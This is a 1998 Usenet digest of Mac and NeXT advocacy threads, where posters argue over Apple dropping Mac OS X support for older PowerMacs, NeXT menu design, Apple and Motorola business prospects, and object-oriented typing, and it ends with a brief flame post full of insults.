the benefits of a new OS. It certainly doesn't help Apple's case that
there is a better selection of this on other platforms.
> > (2) Lose OS upgrade customers - since they can't buy the upgrade they
> > won't. Simple. That's quite a chunk of current users.
>
> Most Mac users are still running System 7.
>
> That's two wrong so far.
I haven't seen numbers for this. Do you have any? Really, I'm curious
about this. Anyway, I still run System 7 (at home) since 8 doesn't bring
me enough benefits to justify the cost. I know, I use it at work all the
time (ymmv). And again, I don't like the way Apple has been operating
lately, so I don't want to give them my money.
> See the point I made above. The users you cite do not exist. No matter how
> angry anyone is, only a select few will have the cash to actually go out
> and commit their act of rebellion.
Not always true. It will probably cost me the same or less to switch,
when the time comes. When will that be? Probably when I have the cash.
I can certainly use the extra speed and stability the change will bring.
(Please no arguments about Win95, I already use NT quite a bit at work.
Fast and stable for my purposes, so I'd stick with it.)
> Why? These machines will be 4 years old by the time OS X comes out. Just
> like me, theu will have upgraded long before the ship date.
Many resist upgrading, for fear that when the "next big thing" finally
arrives, they'll be left in the cold. I certainly won't buy any new
hardware, unless it runs an OS with the features I desire. I've been
burned by believing hype before. This means Apple won't be getting any
more of my money. Their OS's no longer meet my standards, and I can't
trust them to bring out such an OS on hardware I own or would likely buy.
Their plans and priorities change too often (Copland, Gerschwin, OpenDoc,
Rhapsody, etc. . .)
Mike
--
Mike Zulauf
mazulauf@atmos.met.utah.edu
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 23 Jul 1998 13:22:20 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2307981322200001@news>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net> <SCOTT.98Jul22111835@slave.doubleu.com>
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In article <SCOTT.98Jul22111835@slave.doubleu.com>,
scott@nospam.doubleu.com (Scott Hess) wrote:
> In article <joe.ragosta-2207981217170001@wil79.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) writes:
>
> Keep in mind that the new laptops are not necessarily meant to do
> the same things as the "pro" laptops.
>
> So why should they have the same interface?
Um, because you can have the same interface that is useful for advanced
users, yet easy enough for novice users? Just a thought.
Seriously, why do you think that "pro" users should have a different
interface than new users? And yes, the Mac OS interface is scalable
depending on the level of complexity required by the user.
> They may be more like WinCE devices.
>
> Of the Windows programs I've worked with, the one who's interface I've
> liked the best thus far is Quicken. And it seems to pretty much
> dispense with the Windows interface in favor of it's own interface.
He didn't mean "more like WinCE devices" in terms of the interface; he
meant conceptually, they would be a scaled-down version of the Mac OS, just
like Windows CE is a scaled-down version of Windows.
> Until you know what they're trying to do with them, how can you
> criticize them for a given screen size?
>
> Likewise, how can you make UI predictions about it if you don't know
> what they're going to do with it?
He wasn't making UI predictions about it. He was refuting someone else's
prediction. Big difference.
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 23 Jul 1998 13:27:30 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2307981327300001@news>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc <andyba-ya02408000R2207981149400001@news> <6p6qnj$fs21@Talisker.taide.net>
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In article <6p6qnj$fs21@Talisker.taide.net>, malte@oops.se (Malte Tancred)
wrote:
> In article <andyba-ya02408000R2207981149400001@news>,
> Andy Bates <andyba@corp.webtv.net> wrote:
> >
> >Sure it is! I open the file, edit it, save it, and print it. It
> >specifically DOES belong under File.
>
> If the purpose of the "Print" is to print a file that is.
> Putting "Print" in the root menu implies that priting operations
> might be applied elsewhere in the application, not only to
> the opened "File".
>
> Your argument is in most cases good for a file based application,
> but take a database application for example. It might not have the
> concept of a file.
Why not? Databases are files! They may be dynamically-linked relational
databases, but they are still files!
> I believe most people in the NeXT community have a few of these
> complaints on other OSes. Once you become familiar with the concepts
> of the NeXT UI you easily get caught. Why? Because it is a very
> well designed and well thought-out UI. I don't say it is perfect,
> I just say it is good.
I agree that it is good. However, I do not agree that every element of the
NeXT UI is necessarily better than every element of every other UI.
> >> If you're going to have heirarchical menus, then you need to recognize
that
> >> some operations aren't going to fit into your hierarchies/catagories,
> >
> >Why? If you have an operation that doesn't fit into your categories, than
> >you need new categories.
>
> The root menu is in fact the "application category".
> You "Quit" and "Hide" the application, not a document or a window.
"Quit" is the only one currently under the File menu, and as I said before,
it's not really a problem there. Since it would logically be the ONLY entry
under a proposed "Application" submenu, it's easier to put it under File.
> Regarding the "Print" operation, I'll refer to my comment above.
> Printing doesn't neccessary have to do with a document or a file,
> which makes it fit nice at the root level.
Again, could you give me an example of something that you would print that
is NOT file-related?
Andy Bates.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Following up on a prediction...
Date: Thu, 23 Jul 1998 11:49:33 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-2307981149330001@dante.eng.uci.edu>
References: <rmcassid-1607981527460001@dante.eng.uci.edu> <SISs1.5751$7k7.6580623@news.rdc1.sdca.home.com>
In article <SISs1.5751$7k7.6580623@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
>And Summer isn't over yet. I'm waiting until after August and the boys in
>New York on Wall Street are back from the Hamptons and Martha's for awhile.
>:-)
No, it's not over yet.
My predictions were a bit optimistic - and I missed on most. Happy to see
us staying above $35.
I've now heard multiple rumors that Apple want's $1/share for the xMas
quarter. That would mean revenues of $1750 on margins of 25.5%. And
probably around 850,000 systems given an average system price of $2k
(which means a lot of Powerbooks and G3 Pro systems to offset those iMac
prices). So more like 900,000 if iMac makes up a big percentage.
I'm not sure they can pull it off that soon. 2 years ago they sold over
900,000 units and raked in $2.1B in revenue, but margins were only 18% and
operations costs over 50% higher. So they've done the volume, but with
more resources at their disposal, and under somewhat more favorable
conditions.
Anyhow, this quarter looks like it'll be nice. Not stellar, but nice.
Hopefully a unit surprise will result. I don't see Wall Street turning on
us soon, though. Apple is showing a PE, and not a half bad one at that.
The street has been shown not to underestimate Apple 3 times now, I think
they'll be a little hesitant to do it too quickly. OTOH, if Apple blows it
even one time, they'll get _hammered_.
-Bob Cassidy
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 23 Jul 1998 17:47:10 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu>
References: <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com>
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On Thu, 23 Jul 1998, Michael M. Eilers wrote:
> In article <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> Well, since you snipped all of the examples I cited without responding to
> them, then we'll just assume you accepted them as fact.
I did not want to address them specifically because I didn't think they
were terribly pretinent. The cost of going to the PC platform is not much
of an issue. It is already an option for many people who believe that
supporting Apple may not be such a good idea anyway. It is already being
done by many companies and many individuals. Mac OS X dropping support for
older machines will be just one more reason not to stay. Certainly some
people will stay despite that. I'm not saying that everyone will leave you
know.
> Those machines my be selling new, but they are 4 years old
> internally--they even use a type of RAM that is getting tough to find
> these days. Slow bus speeds, limited video options, and slow Ethernet (100
> MBS is the standard now, remember?) make these machines of the past,
> regardless of their sale date.
Oh, come on! "limited video options"
What video options does a 3 PCI slot PowerMac G3 have that a 6 PCI slot
PowerMac 9600 does not?
Take a look at the ethernet that is built on to the motherboards of the
PowerMac G3s. It's 10Mb/s. You have to get a PCI card for 100Mb/s ethernet
on the G3s just like the PowerMac 9600/350 except there are more slots on
the 9600.
What the devil are you talking about "they even use a type of RAM that is
getting tough to find these days"? Have you tried? I have. I just bought
128 megs of RAM in 2 64MB DIMMs for $126 3 days ago. There were numerous
places for me to choose from. I did not have to search hard for a place to
find the RAM, just a place to find it cheap.
The PowerMac G3s are _not_ so much more advanced than many of the
non-Gossamer PCI PowerMacs. You greatly exaggerate how obsolete these
machines are.
> > Apple has had a pretty good
> > history of backwards support for old systems. While there is never any
> > gaurantee anyway, setting the precedent of dropping support for 1 year old
> > machines makes it even more likely and possible that Apple will decide
> > that you need a G4 to run Mac OS XI and then a G5 to run Mac OS XII and
> > so on.
>
> Pure, unadulterated speculation
Duh! I did not say that "Apple will absolutely decide to make Mac OS XI
run only on G4s etc...". I said that it is even more likely and possible.
Further, it is obviously speculation since there is not even an
announcement of G4s, much less Mac OS XI. I was not making a statement of
fact and do not pretend that it was fact.
> and perhaps just paranoia on your part.
> First you pat Apple on the back for having good backward-compatibility in
> the past, then you slam them for a possible future of doing nothing but
> breaking that tradition. No one out there knows anything about Apple's
> future strategy past OS X, not even Apple. The fact that you bring it up
> here really weakens your argument.
It does not.
Because Apple has a good history of supporting older Macs, I can assume
that Apple will continue and will feel safe that I will be able to keep my
OS current for a reasonable amount of time.
Now Apple is planning to drop support for machines that are only 1 year
old. This sets a precedent. While I do not _know_ that Apple will do that
again, it makes the possibility much more likely at the very least
psychologically.
With this in mind, I have to weigh the risk with the benefits I see to
staying with the platform. If I judge that the risk outweighs the benefits
for me, this one move by Apple will mean I leave the platform.
Are you saying that this should have _no_ bearing on a decision to go or
stay with the platform?
> > It is not a political statement, but a fear that Apple will continue to
> > drop support for perfectly good machines before users are ready to buy new
> > ones. It's the unreasonable forced upgrade precedent that would cause some
> > users to move away from the platform.
>
> See above. More paranoia. How many Mac users do you really think sit
> around and have panic attacks because they *might* not be able to run the
> very latest up-to-the-minute OS?
"Panic attacks"? You are coloring the discussion inappropriately.
It is not a matter of panicking. It is a matter of a person determining
whether he wants to continue investing in Apple products. I see few people
saying that they are forsaking the platform _now_ because Apple might
follow through on this decision. I definitely do not advocate this
action. I see people saying that they will not continue to support Apple.
I do not advocate this either, but I am saying it almost a given that it
will happen. I will probably be one of them. Note that I say probably.
When Mac OS X comes out, I will decide. Right now, this _is_ an issue for
me in deciding my next computer purchase (which will be in the shortly
before Mac OS X time frame).
> > Customer loyalty is _decreasing_ not increasing. While our loyalty is
> > amazing considering the circumstances, it is not unconditional.
>
> You are speaking of that one-time survey, conducted by a PC company, are
> you not?
Could be. That's where I first heard it. I was surprised it was so high
though.
> Sorry, but one data point in a list of hundreds of data points to
> the contrary is not signifigant. Nor does one data point constitute a
> trend.
Do you have a hundred sources that indicate that Apple's customer loyalty
is increasing? Do you have a hundred current sources of information that
indicate that Apple's customer loyalty has not declined?
I'm not saying that it can't be doing anything other than decreasing, but
I'd like to see some evidence of it if you have any.
> But I forgot that you are in the business of speculation and paranoia.
While you are in the business of exaggeration and misdirection eh?
> > It's not about showing those Apple bastards. It's about getting away from
> > a platform for which a single company controls the OS and hardware wher
> > that company is willing to drop support for machines on a whim to force
> > people to upgrade.
>
> Specualtion. Paranioa. On a whim?? This shows how detached from reality
> you are. Do you think apple made the decision to exclude a huge user base
> ON A WHIM?
I think Apple has severely underestimated the reaction to this decision. I
think that the justification for dropping support for these Macs is not
good enough since the detriment to the platform would be significant when
it already represents a small percentage of the market and gets
considerably less support than Wintel (not that I consider Wintel to be a
better solution actually).
"On a whim" was a description of how it seems from a customer perspective.
Apple has a history of changing directions drastically and rapidly for no
immediately obvious reason. This would be a continuation of that in a
somewhat new way.
> Such idiocy just degrages your argument further. All
> histrionics, no substance. Until someone at Apple comes out and says,
> "Yes, we decided to exclude everything but G3s because we wanted to sell
> more hardware," all of your charges and accusations are just vapors and
> hot air.
Poppycock. Do you _really_ think if Apple really made a decision like that
that it would inform us of it? Don't you think that Apple would come up
with another excuse? That is not the only way to validate the idea that
the decision was motivated by a wish to sell more hardware.
There is the fact that these machines are perfectly fast enough to run Mac
OS X. They will already be able to run Rhapsody on which Mac OS X is
based. The changes in Mac OS X would make it _easier_ for Apple to support
these machines. Supporting these machines would not make Mac OS X slower
or less efficient. These machines are still selling new today. The basic
architecture of these machines, while not precisely the same, is not
radically different from the machines to be supported. Apple is not even
stating it is considering support for these machines. Dropping support for
these machines would be encouragement to either buy a new machine from
Apple or leave the platform.
While "because we want to sell more hardware" is not the only reason for
this decision left, it is definitely a possible one.
Furthermore, the motivation does not matter much anyway since the effect
is the same either way. If Apple would say it is considering support for
these machines, many more people would be satisfied. Apple has futzed
around with getting a new OS out for many years now. This is known by a
lot of people. Many people have wanted a new "advanced" OS even if they
did not specifically by a machine to be able to run it (though some have).
There has been significant negative reaction to Apple's decision.
> > For all that you bash Windows and PCs, people _are_ able to use them to
> > get work done. You exaggerate the disadvantages to haveing a Windows based
> > PC.
>
> I *work with them all the time,* thanks. And they crash all the time. Much
> more than the macs. Yes, people get work done, but grudgingly. More than a
> few times I caught my supervisor digging in his desk for a pencil and
> paper because Lotus Notes had crashed yet again on his $5000 NT box.
Interesting. I have not had similar experiences even in programming
for Windows. I do not like the environment and will do my best to avoid
Windows because I think it is near to the worst alternative in the
computer industry (though it is the most popular), but it has never been
as bad for me as in your experience.
Furthermore, your opinion of PCs is not relevant to the people who would
make the decision. There are people who tolerate Windows. There are people
who are unaware of the alternatives. There are people who actually _like_
Windows. For some it will not be seen as the huge trial you make it out to
be.
> > > Most Mac users are still running System 7.
> >
> > Prove that or admit it is just speculation.
>
> This is a well-known fact.
That doesn't mean much. Just because a lot of people believe it does
not make it true.
> Anecdotal evidence: I did tech support for a
> Mac-leaning ISP. Very, very few of our customers (who come from an
> affluent customer base, the retirement communities of Tucson, AZ) were
> running 8.0. The majority were running 7.5.1, which came installed on
> their Performas and 8500s. Many had no idea 8.0 even existed, not to
> mention 8.1.
Pardon, but System 7.5.1 does not run on the PowerMac 8500. The earliest
possible system to run on an 8500 is System 7.5.2. My PowerMac 8500
shipped with System 7.5.3 rev2.
Most of the Mac users I know upgraded to Mac OS 8. Few have stuck with
System 7 and those who have have System 7.5.x.
> Four Mac labs at my grad school (University of Arizona) with 120 Macs--all
> System 7.6. I talked to the lab head, he said, "well, we tried to install
> 8.0 but it just confused the Mac users with that grey platinum appearance,
> it looked too different from what they saw at home."
Nearly all the Mac labs at my school (U of Illinois at Urbana/Champaign)
run Mac OS 8.1. The math department has a large lab where things are
more mixed as far as Mac OS versions though. I believe there are 300 to
400 Macs in the public labs here. My anecdotal evidence contradicts your
ancdotal evidence.
> Your legions of loyal Mac users ready to defect are a ghost, a dream of
> your imagination: nothing more.
They are a dream of your imagination since I never said nor implied
anything about legions of loyal Mac users ready to defect. You are
attributing the arguments of others to me. I think that a significant
group of Mac users will either decide not to upgrade either machine or OS
others in that group will switch. I do not fool myself into believing that
it would be even as much as a million.
> > Mac OS 8 sold 2 million copies in its first 2 months.
>
> Yes, estimates that they have sold 6 or 8 million to date are common.
> Which leaves about 22 million Mac users running 6.x or 7.x.
Apple's estimate for how many Macs are currently in use is 22 million
IIRC. You are off by a few million on your estimate of Mac users running
6.x or 7.x.
> > There is
> > apparently tremendous demand for an "advanced" OS in the Macintosh
> > community. That demand has not been sated yet I'd bet.
>
> On this newsgroup, perhaps, which is a *very* skewed segement of the Mac
> OS community. Outside of it? Prove it.
The fact that in 2 months a significant update to the Mac OS sold 2
million copies (about 10% of the installed base) indicates to me that
there is tremendous demand.
I do not know that anything like that could ever happen again, but I think
it's very possible. That was the reason for the "I'd bet".
> I've been to many AMUG meetings, a
> group with a rabid loyalty to the Mac and a power-user mentality. None of
> them have mentioned ditching their Mac just to have protected memory or
> guard pages in their OS by switching to NT. GUI, frendliness and good,
> high-qulaity hardware is important to them, not the latest buzzword
> compliance.
More anecdotal evidence I see. You seem to have a lot of it.
I realize that anecdotal evidence has some value, but I hope you also
realize that it can be very misleading and should not be relied upon too
heavily.
I have no anecdotal (or otherwise) evidence to contradict you outside the
people in the newsgroups.
> > Adding support for these machines would mean a potential market of 3 or 4
> > million more machines (I think... anybody have real numbers?). Assuming 3
> > or 4 million of those machines, that will double the likely market of G3
> > and G4 machines for Mac OS X by that time.
>
> You are ignoring the fact that the number of Mac G3 and G4 machines is
> going to grow *tremendously*,
You are speculating. Something you have accused me of lots of times in
this message (rightly so, but I never intended it to be anything other
than speculation).
> and as that number grows the previous number
> shrinks, as many G3 purchasers will be previous PowerMac users. People who
> buy used non-G3 systems in the next year or two are not going to be power
> users by default, considering how cheap the G3s are.
That does not change the fact that there will still be 3 or 4 million of
these Macs around. It does not change the fact that supporting these
machines would mean a larger market for Mac OS X.
> > Poppycock. The 7300,7500,7600,8500,8600,9500, and 9600 machines were not
> > consumer level Macs. They were far from cheap and the people who bought
> > them are likely to have enough money to switch platforms especially
> > considering that hardware is generally cheaper on the PC side.
>
> Why do the people who raise this argument always forget the cost of
> software, peripherals, and training time? The hardware cost is trivial in
> comparison. I noticed how you totally ignored the example I cited of the
> possible costs of switching platforms--didn't have much to rebut, did you?
Why do you think that users won't replace all their peripherals anyway?
What about USB and Firewire hmm? Do you think the software upgrades for
what will run on Mac OS X (Carbon or Yellow Box) will be free?
As for training time, why do you assume that there will be any? Many Mac
users have experience with Windows. Those who would actively consider
Windows as an option after this are likely to already have a great deal of
experience with it already.
> > > Why? These machines will be 4 years old by the time OS X comes out. Just
> > > like me, theu will have upgraded long before the ship date.
> >
> > Some of these machines will be 4 years old. Some will be one year old.
>
> No, they will all be 4 years old (and perhaps older) in technology
> terms--the 9600/350 motherboard is almost identical to the very first PPC
> motherboards.
It is also faster than a lot of the PowerMac G3s (particularly the iMac),
and is more expandable by far (particularly the iMac).
Furthermore, the first PPC motherboards were NuBus based. The PCI
PowerMacs didn't start until a year and a half later.
> > A whole bunch of PowerMac 9600/350s sold a couple of weeks ago and
> > PowerMac 8600/250 and 300s are still selling new today.
>
> Selling new, but they rolled off the line years ago. Just because they sat
> in a box for a year doesn't magically preserve them against the march of
> time.
The PowerMac 9600s and 8600s in question have _not_ been sitting around
for a year despite your implication to the contrary.
> > The reference system for Rhapsody DR1 was a PowerMac 9600/233 IIRC. All
> > the developers who bought 604e based PCI PowerMacs for Rhapsody will be
> > unable to run Mac OS X without buying new machines, and developers have
> > even less reason to support Apple than Apple's customers.
>
> Speculation. Paranoia.
The reference system for Rhapsody DR1 was a PowerMac 9600/233. That is not
speculation. All the developers who bought 604e based PowerMacs to
run Rhapsody will have to buy new machines to run Mac OS X. That is not
speculation.
That the market for Mac OS X related software (particularly Yellow Box)
will be smaller than with support for these machines is speculation, but
is very likely.
That a smaller market for software is a reason to work less to support a
market is not speculation. Apple has changed directions on developers
many times and they did not like it.
Mac OS developers seem to have been happy with the move to Mac OS X not
because of dropping support for pre-G3 PowerMacs, but because it allows
them to largely keep their development investment in the Mac OS.
I wonder how happy Yellow Box developers are.
> Developers are in the business of writing software,
> and they will do so. By the time OS X rolls around they all will have
> upgraded anyway. As a game reviewer for Inside Mac Games, I talk to
> developers all the time. Guess what they are running now? 266 MHz G3s.
Games developers eh? I doubt a tremendous number of such developers bought
a machine specifically to run Rhapsody on, but rather generally try and
stay current with the latest hardware in general to push their software
as far as possible. Can you confirm or deny this?
Would you speculate on how developers targetting other markets who
invested in machines specifically for Rhapsody feel?
> > You do not know that the situation in the Mac community is the same as for
> > your friends. You are using your anecdotal evidence as support for your
> > argument that Mac users will happily upgrade.
>
> I've never even argued for a second that Mac users will "happily upgrade."
> Your tendency towards speculation seems to run even into your reading of
> other people's posts. I was arguing that the majority of Mac users will be
> totally oblivious to the "problem" posed by Mac OS X and the ones who are
> aware of it will be upgrading to G3 anyway. I was arguing that your
> grassroots rebellion you seem to be talking about is nothing but smoke and
> shadows, from where I sit as a 10-year Mac user with on-the-ground
> experience of Mac user communities.
Heh. What a coincidence. That's where I sit as well.
I never said that there would be anything like a "grassroots rebellion". I
never talked about "legions" of Mac user leaving the platform. I said that
there would be people (I think a significant number though nowhere
approaching a majority) who would abandon the Mac platform because of
Apple's decision. I provided some of those reasons.
> > (Which is possible, but
> > you've not proven or even significantly supported that in any way.)
>
> You're aking _me_ for proof? You've got nothing but speculation and
> paranoia from word one! I cite actual, real-world evidence, of which you
> have none, and you have the gall to ask for proof?
You have misunderstood and misconstrued my arguments. Part of that is my
fault.
I came into this thread only very recently and haven't been following it
much. I happened to see one of your posts and wanted to respond.
> You'd better move on from this "cause" you're pushing--you are doing more
> harm than good with all this speculation and guesswork.
I am not pushing any cause here. I do not think it would be a good thing
for the platform to have many people abandon it. I want Apple to support
older PowerMacs. I want to make clear the reasons that I and some other
people may forsake Apple if it does this.
> > Furthermore, Windows 98 does not drop support for machines that were
> > selling new one year ago.
>
> Did I say so? No, I did not. I said that PC users with *perfecty
> functional machines* ran out and bought a new one just because a new OS
> rolled out. Nothing to do with being obsoleted or excluded--they just
> wanted shiny new hardware to go with their shiny "new" (if such a word can
> be used about Win 98) OS.
That's nice, but is not necessarily representative the Macintosh
community.
> > You talk of 486s. Those are 68040 class
> > machines. We are talking 604, 604e, and some 603e systems. These are
> > Pentium, PentiumPro, and PentiumII class machines.
>
> I also know of three real-world examples of people going from Pentium and
> Pentium Pro systems to Pentium II just to run Win 98, when a simple RAM
> upgrade would have sufficed. And these were not wealthy folks.
That's fine. It still doesn't mean a tremendous amount. The situation is
not necessarily applicable to the Mac community. There will be Mac owners
who are motivated to do this, but I doubt it would be as many.
> Please, come down of your speuclative high horse and drop all the
> paranoia. Histrionics only hurts your cause. By the time OS X hits the
> streets, the early PCI powermacs will be so irrelevant and dated it won't
> even be funny.
Pfft. You talk of me stepping down off my "speculative high horse" and you
spout this? Oh, brother.
> A dual-G4 running Mac OS X will make the 9600/350 look like
> a Mac Classic.
Speculation. Excessive optimism.
And that doesn't change the fact that the PowerMac 9600/350 is a damned
nice machine. It can be upgraded to 1.5 gigs of RAM and has 6 PCI slots
which Apple doesn't seem to have any current plans for in its current or
near future line. Its processor card could likely be upgraded to a dual-G4
because it was built to be expandable.
There is no comparison between a PowerMac 9600/350 and a Mac Classic.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1dcmbru.moypr81bekkqoN@dialup242-2-41.swipnet.se>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <6p5g8j$bhm$1@news.cs.tu-berlin.de> <6p5l6v$8af@newsb.netnews.att.com>
Organization: pv
Date: Thu, 23 Jul 1998 10:41:15 GMT
NNTP-Posting-Date: Thu, 23 Jul 1998 12:41:15 MET DST
<gupta@kcopsrm.tm.tta.moc-mirror> wrote:
> This is getting to be rather confusing, especially because
> "type" and "class" are used differently by different writers.
Yes, and inconsistently by a single writer too... I started by calling
class a language construct aimed at catching abstract type (ADT which
includes various implementations) and then drifted away to the set of
all possible objects of an abstract type (which is the same). This is
not necessarily wrong but I agree that it is confusing and am willing to
retract from class.
> Picking definitions from the g-of-4 "Design Patterns" book :
Ok, but these are language constructs. Something bound to a specific
language and the capabilities and compromises used in that particular
language. The langage used to write the GoF book.
> Signature (of an operation declared by an object) :
> The operation name, the objects the operation takes as
> parameters, and the operation's return value.
Ok, but something is missing. A signature is not an operation. To be an
operation it has to do something, leave some sort of observable trace.
That's why I describe operations with pre- postconditions. The signature
is a language construct that to some extent identifies an operation. A
signature alone is ambigous. Several different operations can have the
same signature. Besides the definition itself is ambiguos. Do you
consider the object that carries out the operation one of the parameters
or not? It would be in Ada, Eiffel and C++, but not in Objective C.
Two concepts: Operation and Signature.
> ***
> Then, the set of all objects with a certain type is not a class.
> e.g. classes and sub-classes share type.
OK, see top. Lets stick to class as a language construct.
> In C++, to share a type, the classes of the objects involved must
> be in the same class inheritance hierarchy (correct or incorrect ?).
> Or perhaps more correctly, you can dynamically bind only if the
> types are in the same class hierarchy.
OK.
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Date: 23 Jul 1998 15:38:56 GMT
Organization: University of Maryland, College Park
Message-ID: <6p7leg$al7$6@hecate.umd.edu>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu>
Peter (pxpst2@SPAM.SUXS.unixs.cis.pitt.edu) wrote:
: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
: > Maybe Motorola is still stung from the $100 Million MCG debacle.
: David
: Motorola was stung by Apple with regard to cloning but that was a really
: small amount.( 100 million that is).
: Motorola's current problems are ALL rooted in the fact that the cell
: phones that they are making and had planed to make for another 8-12 months
: are ANALOG. And I am sure you know how well analog phones are selling
: these days? MOT screwed up big time on their bread and butter buisiness
: and everybody here makes it into an Apple vs Mot pissing contest.
: Currently Mot is trading at 52 week low levels and they have BIG problems
: which even doubling the CPUs sold would not help appreciatably. The CPU
: bisiness is the only good thing at Motorola these days but it is a small
: part of their core business and it will be years before it is an
: appreciatable fraction of their total business.
You forget that no so long ago (5-6 years) there was a big annoucement
of the great alliance called AIM. The unstated and modest goal was to
acquire 10% of the CPU market in a decade. (Can't remember where I read
this from now) That won't be happening now. Motorola had very aggresive
goals to push and expand PPC chips, and really churn it out. Their
frustration was that their ability to push the chip was being limited by
the whim of another company, Apple. I'm not attributing Motorola's
current troubles to the $100 Million MCG write off. I'm attributing
Motorola's attitude to PPC to how the whole disagreement with Apple lead
to the demise of MCG. Motorola really just wanted to sell PPC chips,
to everyone and everywhere, and at the end, it couldn't do that without
MacOS, and Motorola had no choice but to scale back its PPC development
efforts. (motherboard, etc)
: Peter
: --
: "Don't you eat that yellow snow
: watch out where the Huskies go" FZ
: ---------------------------------------------------------------------
From: "Edwin E. Thorne" <edwin.thorne@rauland.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Hey Mr thorne
Date: Thu, 23 Jul 1998 09:05:41 -0500
Organization: WorldWide Access - Midwestern Internet Services - www.wwa.com
Message-ID: <35B74335.7DF7C86E@rauland.com>
References: <MPG.1020519d12f527a29899e6@news.supernews.com> <B1DC26FC-61385@204.32.201.74>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Nathan Dozier wrote:
>
> On Wed, Jul 22, 1998 6:45 PM, Donald Brown <mailto:don.brown@cesoft.com>
> wrote:
> > Where is your good buddy Anton/ Macsbug/(you?)? I havent seen a post by
> > him in several days.
> >
> > After it was shown that you and he both posted within 2 minutes of each
> > other from the same ip, you claimed it was because you were at your
> friend
> > "macsbug"'s house, implying that anton is Macsbug, yet when I went back
> > through dejanews this macsbug guy (macsbug@hotmail.com, who also
> posted
> > from Edwin's isp) signed his name as Edwin?? How do you explain this?
> >
> I withdraw my apology from the Warez thread. If you're going to go so
> psycho about Edwin's use of another name, using one yourself is extreme
> hypocracy.
>
> I dont know if its hypocracy, I have been getting preety peeved at that
> mofo's posts myself. I could care less if people use different names, but
> when you change names to further your kookiness thats another matter. I
> have remained silent, waiting for people to skewer that edwin fukker like
> that fukker Rizzo was skewered. This group needs lamers like edwin like
> our defense forces need windows NT.
>
> After this post I think I will check to see if the newsgroup
> alt.kook.edwin.thorne has been created yet. That guy is as big a kook as
> Rizzo is.
>
